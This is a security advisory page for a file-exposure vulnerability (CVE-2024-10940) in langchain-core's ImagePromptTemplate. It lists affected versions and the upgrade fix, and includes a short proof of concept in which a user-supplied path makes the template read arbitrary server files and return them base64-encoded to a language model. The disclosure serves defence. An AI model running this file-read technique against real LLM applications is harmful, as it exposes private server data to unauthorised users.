Exposure of Sensitive System Information to an Unauthorized Control Sphere Affecting langchain-core package, versions [,0.1.53)[0.2.0rc1,0.2.43)[0.3.0.dev0,0.3.15)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-LANGCHAINCORE-9486546
  • published20 Mar 2025
  • disclosed20 Mar 2025
  • creditBagatur Askaryan

Introduced: 20 Mar 2025

NewCVE-2024-10940  (opens in a new tab)
CWE-497  (opens in a new tab)

How to fix?

Upgrade langchain-core to version 0.1.53, 0.2.43, 0.3.15 or higher.

Overview

langchain-core is a Building applications with LLMs through composability

Affected versions of this package are vulnerable to Exposure of Sensitive System Information to an Unauthorized Control Sphere in the ImagePromptTemplate in image.py, which can be instantiated with input variables that can contains paths exposing files from the underlying filesystem. The output of the prompt template may be exposed to the model and subsequently the unauthorized user.

PoC

from langchain_core.prompts import ChatPromptTemplate, HumanMessagePromptTemplate

prompt = ChatPromptTemplate([
  HumanMessagePromptTemplate.from_template([{"type": "image_url", "image_url": {"path": "{image_path}"}}])
])

# input any file path. note it does not need to be an image file.
prompt.invoke({"image_path": "/path/to/private/file/on/server.xyz"})

# output contains base64 encoded str contents of the file
# -> ChatPromptValue(messages=[HumanMessage(content=[{"type": "image_url", "image_url": {"url": "data:{mime_type...};base64,{encoding...}"}])])

# # using with a model
from langchain.chat_models import init_chat_model

llm = init_chat_model("gpt-4o-mini")
chain = prompt | llm
# note the file does need to be an image for the model to respond
chain.invoke({"image_path": "/path/to/private/file/on/server.jpg"})

CVSS Base Scores

version 4.0
version 3.1